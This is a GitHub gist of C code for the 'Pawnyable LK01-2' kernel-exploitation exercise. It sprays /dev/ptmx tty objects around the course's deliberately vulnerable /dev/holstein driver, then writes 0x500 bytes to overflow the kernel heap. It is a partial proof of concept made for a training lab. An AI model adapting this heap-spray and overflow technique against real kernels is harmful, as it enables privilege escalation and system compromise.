Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active November 25, 2022 01:20
Show Gist options
  • Save brant-ruan/06d8d82449ae7cd96bc58218bef9cbe3 to your computer and use it in GitHub Desktop.
Save brant-ruan/06d8d82449ae7cd96bc58218bef9cbe3 to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int spray[100];
for (int i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
perror("open");
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);
getchar();
close(fd);
for (int i = 0; i < 100; i++) {
close(spray[i]);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment